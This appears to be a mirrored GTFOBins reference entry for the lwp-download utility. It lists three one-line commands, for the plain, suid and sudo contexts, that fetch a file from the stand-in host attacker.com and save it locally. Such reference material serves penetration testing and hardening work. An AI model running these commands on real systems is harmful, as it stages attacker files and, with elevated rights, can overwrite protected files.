1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00
GTFOBins.github.io/_gtfobins/lwp-download.md
2020-06-10 22:53:45 +02:00

475 B

description functions
Fetch a remote file via HTTP GET request.
file-download suid sudo
code
URL=http://attacker.com/file_to_get LFILE=file_to_save lwp-download $URL $LFILE
code
URL=http://attacker.com/file_to_get LFILE=file_to_save ./lwp-download $URL $LFILE
code
URL=http://attacker.com/file_to_get export LFILE=file_to_save sudo lwp-download $URL $LFILE